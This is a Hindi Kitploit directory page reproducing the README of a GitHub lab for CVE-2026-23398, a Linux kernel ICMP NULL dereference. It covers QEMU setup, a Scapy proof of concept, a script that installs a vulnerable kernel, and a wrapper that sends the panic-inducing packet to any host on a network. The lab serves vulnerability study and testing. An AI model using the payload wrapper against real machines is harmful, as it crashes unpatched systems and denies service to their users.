Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2026-23398-poc — प्रजनन योग्य प्रयोगशाला CVE-2026-23398 के लिए, जो icmp_tag_validation() में Linux कर्नेल NULL डीरेफरेंस है, जो ICMP फ्रैगमेंटेशन नीडेड पैकेट द्वारा ट्रिगर होता है, जिससे सेवा से वंचित (denial of service) होता है। इसमें QEMU VM सेटअप, Scapy PoC, और पैच किए गए तथा कमजोर कर्नेल के परीक्षण के लिए स्क्रिप्ट शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/zpol/cve-2026-23398-poc
भेद्यता विश्लेषणशोषणफज़िंगपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubzpol/cve-2026-23398-poc

cve-2026-23398-poc

रिपॉजिटरी देखें
14 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

प्रजनन योग्य प्रयोगशाला CVE-2026-23398 के लिए, जो icmp_tag_validation() में Linux कर्नेल NULL डीरेफरेंस है, जो ICMP फ्रैगमेंटेशन नीडेड पैकेट द्वारा ट्रिगर होता है, जिससे सेवा से वंचित (denial of service) होता है। इसमें QEMU VM सेटअप, Scapy PoC, और पैच किए गए तथा कमजोर कर्नेल के परीक्षण के लिए स्क्रिप्ट शामिल हैं।

साझा करें

लैब: CVE-2026-23398 (ICMP / ip_no_pmtu_disc=3)

icmp_tag_validation() में Linux कर्नेल बग के लिए प्रतिलिपि योग्य लैब (NULL डीरेफरेंस जब net.ipv4.ip_no_pmtu_disc = 3 हो और एक Fragmentation Needed ICMP आता है जिसका उद्धृत आंतरिक IPv4 हेडर inet_protos[] में बिना हैंडलर वाला प्रोटोकॉल नंबर उपयोग करता है)।

केवल अधिकृत उपयोग: केवल उन सिस्टमों पर जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है। प्रभाव सेवा अस्वीकार (कर्नेल पैनिक) है।


होस्ट आवश्यकताएँ

घटकउद्देश्य
QEMU (qemu-system-x86_64, qemu-img)पीड़ित VM
cloud-image-utils (cloud-localds), wget, genisoimageCloud-init और इमेज डाउनलोड
Docker + Docker Composeहोस्ट से ICMP भेजने वाला (host नेटवर्क मोड)
OpenSSH क्लाइंटSSH स्वचालन
SSH कुंजी ~/.ssh/id_ed25519.pub या id_rsa.pub में, या sshpassपासवर्ड टाइप किए बिना गेस्ट लॉगिन (कुंजियाँ अनुशंसित)
sudoकेवल TAP मोड (होस्ट से VM के निश्चित IP पर ICMP)

होस्ट पर Python 3 और Scapy केवल तभी आवश्यक हैं यदि आप रिमोट पेलोड के लिए Docker का उपयोग नहीं करते हैं।


रिपॉजिटरी संरचना

root@kitploit:~
├── send_frag_needed.py          # Scapy PoC (ICMP 3,4 + असामान्य प्रोटो के साथ आंतरिक IP)
├── send-payload-to-host.sh      # अपने नेटवर्क पर IP/होस्टनाम को पेलोड भेजें
├── docker-compose.yml           # "sender" सेवा (host नेटवर्क + CAP_NET_RAW)
├── Dockerfile
├── vm/                          # डिस्क, cloud-init सीड्स, QEMU सीरियल लॉग
└── scripts/
    ├── fetch-image.sh
    ├── prepare-disk.sh
    ├── build-seed-dhcp.sh       # DHCP सीड (usernet मोड)
    ├── build-seed.sh            # स्टैटिक 192.168.76.2 सीड (TAP मोड)
    ├── vm-start-usernet.sh      # QEMU + यूज़र नेटवर्किंग (SSH पोर्ट 2222)
    ├── vm-stop-usernet.sh
    ├── vm-start.sh / vm-stop.sh # QEMU + TAP (tap-up.sh के बाद)
    ├── tap-up.sh / tap-down.sh  # होस्ट पर TAP इंटरफ़ेस (sudo)
    ├── run-lab-usernet.sh       # पूर्ण प्रवाह: इमेज + VM + गेस्ट पर Scapy (हालिया कर्नेल)
    ├── run-lab.sh               # TAP प्रवाह + docker sender → 192.168.76.2
    ├── install-vulnerable-mainline.sh  # अनपैच्ड mainline 6.12 + veth PoC (पैनिक)
    └── poc-veth-netns.sh        # गेस्ट के *अंदर* चलाएँ (veth + netns)

मोड A — पूर्ण QEMU लैब (यूज़र नेटवर्किंग, कोई TAP नहीं)

QEMU यूज़र नेटवर्किंग होस्ट-उत्पन्न ICMP को गेस्ट तक विश्वसनीय रूप से नहीं पहुँचाती। स्वचालित प्रवाह Scapy को VM पर स्थापित करता है और स्क्रिप्ट वहाँ चलाता है। एक वर्तमान Ubuntu कर्नेल आमतौर पर पैच किया हुआ होता है: आपको "Sent 1 packets" दिखेगा लेकिन कोई पैनिक नहीं।

root@kitploit:~
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh

# पहली बार: Ubuntu Noble cloud इमेज डाउनलोड करें, ओवरले, सीड, QEMU शुरू करें, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
  • SSH: ssh -p 2222 [email protected] (यदि आप पासवर्ड प्रमाणीकरण पर निर्भर हैं तो पासवर्ड lablab)।
  • VM रोकें: ./scripts/vm-stop-usernet.sh
  • सीरियल कंसोल (पैनिक, oops): vm/serial-usernet.log

मोड B — कमजोर कर्नेल + प्रतिलिपि योग्य पैनिक

CVE फिक्स मार्च 2026 में आया। एक पुराना mainline बिल्ड (जैसे 2024-11 का 6.12.0) उस फिक्स को शामिल नहीं करता। स्क्रिप्ट उन .deb पैकेजों को VM में स्थापित करती है, रीबूट करती है, और veth + नेटवर्क नेमस्पेस का उपयोग करके PoC चलाती है ताकि ICMP एक वास्तविक ingress पथ का अनुसरण करे (केवल गेस्ट के अपने लूपबैक/इंटरफ़ेस IP पर भेजना पर्याप्त नहीं है)।

चेतावनी: यह आमतौर पर कर्नेल पैनिक में समाप्त होता है; SSH प्रतिक्रिया देना बंद कर देता है।

root@kitploit:~
# usernet VM चल रहा है (या run-lab-usernet.sh ने इसे एक बार बना दिया है)
./scripts/vm-start-usernet.sh   # यदि पहले से नहीं चल रहा है

./scripts/install-vulnerable-mainline.sh

यह कैसे पता करें कि यह काम किया

संकेतपैनिक हुआ (कमजोर 6.12 पर अपेक्षित)पैनिक नहीं हुआ
"Running PoC …" के तुरंत बाद SSHहैंग या Connection timed out / Connection resetसत्र अभी भी काम करता है; आपको शेल मिलता है
send_frag_needed.py आउटपुटSSH मरने से पहले आपको . Sent 1 packets. दिखना चाहिए (लिंक तुरंत गिरने पर अक्सर कट जाता है)Install Scapy: pip install scapy → गेस्ट पर Scapy गायब था; ICMP कभी नहीं भेजा गया। install-vulnerable-mainline.sh दोबारा चलाएँ (यह python3-scapy स्थापित करता है) या VM पर sudo apt install -y python3-scapy चलाएँ और PoC दोबारा चलाएँ
सीरियल लॉगtail -f vm/serial-usernet.log में Kernel panic, icmp_unreach, CR2: 0000000000000010, आदि दिखता हैकोई पैनिक लाइनें नहीं; गेस्ट चलता रहता है
QEMU प्रक्रियाअभी भी चल रही है लेकिन गेस्ट OS रीबूट तक मृत हैगेस्ट पोर्ट 2222 पर प्रतिक्रिया देता रहता है

नई डिस्क नोट: यदि आप केवल prepare-disk.sh + vm-start-usernet.sh चलाते हैं (run-lab-usernet.sh नहीं), तो गेस्ट में install-vulnerable-mainline.sh इसे स्थापित करने तक (या आप इसे मैन्युअल रूप से स्थापित करते हैं) python3-scapy नहीं हो सकता है।

पैनिक के बाद — साफ रीसेट:

root@kitploit:~
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# वैकल्पिक: पैकेज पुनः स्थापित करें / install-vulnerable-mainline.sh दोबारा चलाएँ

मोड C — होस्ट → VM ICMP (TAP)

गेस्ट 192.168.76.2 और होस्ट TAP पर 192.168.76.1 का उपयोग करता है। ICMP वास्तविक LAN की तरह व्यवहार करता है।

root@kitploit:~
./scripts/tap-up.sh              # sudo: icmp-lab-tap0 बनाता है
./scripts/prepare-disk.sh
./scripts/build-seed.sh          # cloud-init में स्टैटिक एड्रेसिंग
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2

# VM पर: sysctl -w net.ipv4.ip_no_pmtu_disc=3 और पैनिक चाहिए तो कमजोर कर्नेल

docker compose build
docker compose run --rm sender 192.168.76.2

./scripts/run-lab.sh इसका कुछ भाग श्रृंखलाबद्ध करता है (TAP + Docker आवश्यक)।


अपने नेटवर्क पर किसी मशीन को पेलोड

सुविधा रैपर (hostname → IPv4 हल करता है, Docker पसंद करता है, अन्यथा sudo + Python):

root@kitploit:~
chmod +x send-payload-to-host.sh
docker compose build    # एक बार

./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200

Docker के बिना:

root@kitploit:~
sudo pip install scapy   # यदि आवश्यक हो
sudo ./send-payload-to-host.sh 192.168.1.50

इस CVE के लिए महत्वपूर्ण लक्ष्य शर्तें:

  1. Linux कर्नेल बिना फिक्स (या डिस्ट्रो समकक्ष अभी तक लागू नहीं)।
  2. net.ipv4.ip_no_pmtu_disc = 3 (हार्डन्ड PMTU मोड)।
  3. पैकेट को सामान्य IPv4 इनपुट पथ के माध्यम से प्राप्त किया जाना चाहिए (किसी इंटरफ़ेस पर आने वाला ट्रैफ़िक)।

यदि कर्नेल पैच किया गया है या sysctl 3 नहीं है, तो आपको पैनिक नहीं दिखेगा; पैकेट अभी भी वायर पर प्रसारित हो सकता है।


पर्यावरण चर

चरविवरण
ICMP_LAB_TAPTAP डिवाइस नाम (डिफ़ॉल्ट icmp-lab-tap0)
ICMP_LAB_HOST_IPTAP पर होस्ट पता (डिफ़ॉल्ट 192.168.76.1/24)
ICMP_LAB_SSH_PORTusernet SSH पोर्ट (डिफ़ॉल्ट 2222)
ICMP_LAB_SSH_HOSTSSH होस्ट (डिफ़ॉल्ट 127.0.0.1)

संदर्भ

  • CVE-2026-23398 (NVD)
  • फिक्स: icmp: fix NULL pointer dereference in icmp_tag_validation() (mainline पर कमिट 614aefe56af8e)
  • मोड 3 का परिचय: कमिट 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)

त्वरित कमांड संदर्भ

लक्ष्यकमांड
पहली बार usernet लैब./scripts/run-lab-usernet.sh
usernet VM शुरू / रोकें./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh
कमजोर कर्नेल + PoC (पैनिक)./scripts/install-vulnerable-mainline.sh
पैनिक के बाद डिस्क रीसेटrm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh
LAN IP/होस्ट को पेलोड./send-payload-to-host.sh <IP|hostname>
Docker sender इमेज बनाएँdocker compose build
टूल डाउनलोड करें